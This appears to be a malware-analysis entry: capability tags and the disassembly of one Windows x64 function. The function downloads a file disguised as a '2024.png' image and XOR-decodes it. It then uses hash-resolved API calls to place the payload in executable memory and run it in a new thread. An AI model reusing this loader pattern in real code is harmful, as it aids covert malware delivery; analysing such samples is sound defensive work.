Function at 0x140003e10
Capabilities:
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x300]
sub rsp, 0x400
xor r14d, r14d
mov ecx, 0x1f4
mov dword [rsp + 0x60], r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140003990
test al, al
je 0x1400042c8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp - 0x78]
lea rcx, [0x14002c3b0]
xor r8d, r8d
xor edx, edx
mov qword [rbp - 0x78], r14
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x1f0]
mov r8d, 0x104
call fcn.14000d16c
lea r8, [rbp + 0x1f0]
lea rdx, str._s2024.png
lea rcx, [rbp + 0xe0]
call fcn.140007920
call fcn.140003b70
lea r8, [rbp + 0xe0]
mov rdx, rax
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [0x140030eb0]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
lea rcx, [rbp + 0x80]
mov qword [rbp - 0x30], r11
mov qword [rbp + 0x80], rax
mov qword [rbp - 0x28], r14
call fcn.140003240
lea r11, [rbp - 0x20]
lea rcx, [rbp + 0x80]
mov qword [rbp + 0xc8], r11
mov qword [rbp + 0xd0], r14
call fcn.140007380
mov byte [rbp + 0xd8], al
cmp qword [rbp + 0xc8], r14
jne 0x140003f35
mov edx, dword [rbp + 0x90]
lea rcx, [rbp + 0x80]
xor r8d, r8d
or edx, 4
call fcn.140003060
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
lea rcx, [rbp - 0x20]
call fcn.1400061f0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x20]
call fcn.140006290
test rax, rax
jne 0x140003f8c
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x20]
lea rcx, [rbp + rcx - 0x30]
or edx, 2
cmp qword [rcx + 0x48], r14
jne 0x140003f84
or edx, 4
xor r8d, r8d
call fcn.140003060
mov rcx, qword [rbp - 0x30]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax - 0x20], 6
jne 0x14000409c
movsxd rax, dword [rcx + 4]
test byte [rbp + rax - 0x20], 6
jne 0x140003fdb
mov rcx, qword [rbp + rax + 0x18]
lea rdx, [rsp + 0x68]
mov r9d, 1
mov rax, qword [rcx]
xor r8d, r8d
mov dword [rsp + 0x20], 1
call qword [rax + 0x50]
mov rcx, qword [rbp - 0x30]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
jmp 0x140003fe5
mov rdx, qword [0x14002ca80]
mov rax, r14
movsxd rbx, eax
movsxd rax, dword [rcx + 4]
add rbx, rdx
test byte [rbp + rax - 0x20], 6
jne 0x140004050
movsxd rax, dword [rcx + 4]
lea rdx, [rsp + 0x68]
xor r9d, r9d
mov rcx, qword [rbp + rax + 0x18]
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov rax, qword [rcx]
call qword [rax + 0x50]
movsxd r11, dword [rsp + 0x70]
add r11, qword [rsp + 0x68]
cmp r11, qword [0x14002ca80]
jne 0x140004050
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x20]
lea rcx, [rbp + rcx - 0x30]
or edx, 2
cmp qword [rcx + 0x48], r14
jne 0x140004048
or edx, 4
xor r8d, r8d
call fcn.140003060
lea rcx, [rsp + 0x68]
mov rdx, rbx
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
call fcn.140005840
mov rdi, qword [rsp + 0x68]
lea rcx, [rbp - 0x30]
mov r8, rbx
mov rdx, rdi
call fcn.140004430
mov rdx, qword [rax]
movsxd r8, dword [rdx + 4]
test byte [r8 + rax + 0x10], 6
je 0x1400040cc
test rdi, rdi
je 0x14000409c
mov rcx, rdi
call fcn.14000b340
lea rcx, [rbp + 0x80]
call fcn.140004be0
lea r11, vtable.std::ios_base.0
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x80], r11
call fcn.140008e2c
mov eax, 1
jmp 0x1400042ca
mov qword [rsp + 0x420], rsi
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x428], r12
mov qword [rsp + 0x430], r13
call fcn.140006380
test rax, rax
jne 0x140004117
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x20]
lea rcx, [rbp + rcx - 0x30]
or edx, 2
cmp qword [rcx + 0x48], r14
jne 0x14000410f
or edx, 4
xor r8d, r8d
call fcn.140003060
mov rbx, qword [rsp + 0x70]
lea rcx, [rbp - 0x60]
mov qword [rbp - 0x48], 0xf
lea rdx, [rbx - 0x10]
mov r8, rbx
mov qword [rbp - 0x50], r14
mov byte [rbp - 0x60], r14b
call fcn.140008030
sub rbx, rdi
lea rdx, [rbx - 0x10]
lea rcx, [rsp + 0x68]
call fcn.140005840
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x68]
mov ecx, 0x14044ae
mov r13, rax
sub rsi, r12
mov qword [rsp + 0x60], r14
mov qword [rbp - 0x68], rsi
call fcn.140003520
mov ecx, eax
call fcn.140008600
lea r9, [rbp - 0x68]
lea rdx, [rsp + 0x60]
xor r8d, r8d
mov rcx, r13
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
call fcn.140008611
mov ecx, 0x1130814d
call fcn.140003520
mov ecx, eax
call fcn.140008600
mov rdx, qword [rsp + 0x60]
mov r9, rsi
mov r8, r12
mov rcx, r13
mov qword [rsp + 0x20], r14
call fcn.140008611
mov r9, qword [rsp + 0x60]
mov rdi, qword [rbp - 0x48]
mov rbx, qword [rbp - 0x60]
mov r8, r14
test rsi, rsi
je 0x140004215
mov r10, qword [rbp - 0x50]
nop word [rax + rax]
cmp rdi, 0x10
mov rax, r8
lea rcx, [rbp - 0x60]
cmovae rcx, rbx
xor edx, edx
inc r8
div r10
movzx eax, byte [rdx + rcx]
xor byte [r8 + r9 - 1], al
cmp r8, rsi
jb 0x1400041f0
mov ecx, 0x93ec9d3d
call fcn.140003520
mov ecx, eax
call fcn.140008600
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
lea rcx, [rbp - 0x70]
mov r9, r13
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
call fcn.140008611
mov rcx, qword [rbp - 0x70]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r13, qword [rsp + 0x430]
mov rsi, qword [rsp + 0x420]
cmp rdi, 0x10
jb 0x14000428d
mov rcx, rbx
call fcn.14000b340
test r12, r12
je 0x14000429a
mov rcx, r12
call fcn.14000b340
lea rcx, [rbp + 0x80]
call fcn.140004be0
lea r11, vtable.std::ios_base.0
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x80], r11
call fcn.140008e2c
mov r12, qword [rsp + 0x428]
xor eax, eax
mov rbx, qword [rsp + 0x438]
add rsp, 0x400
pop r14
pop rdi
pop rbp
ret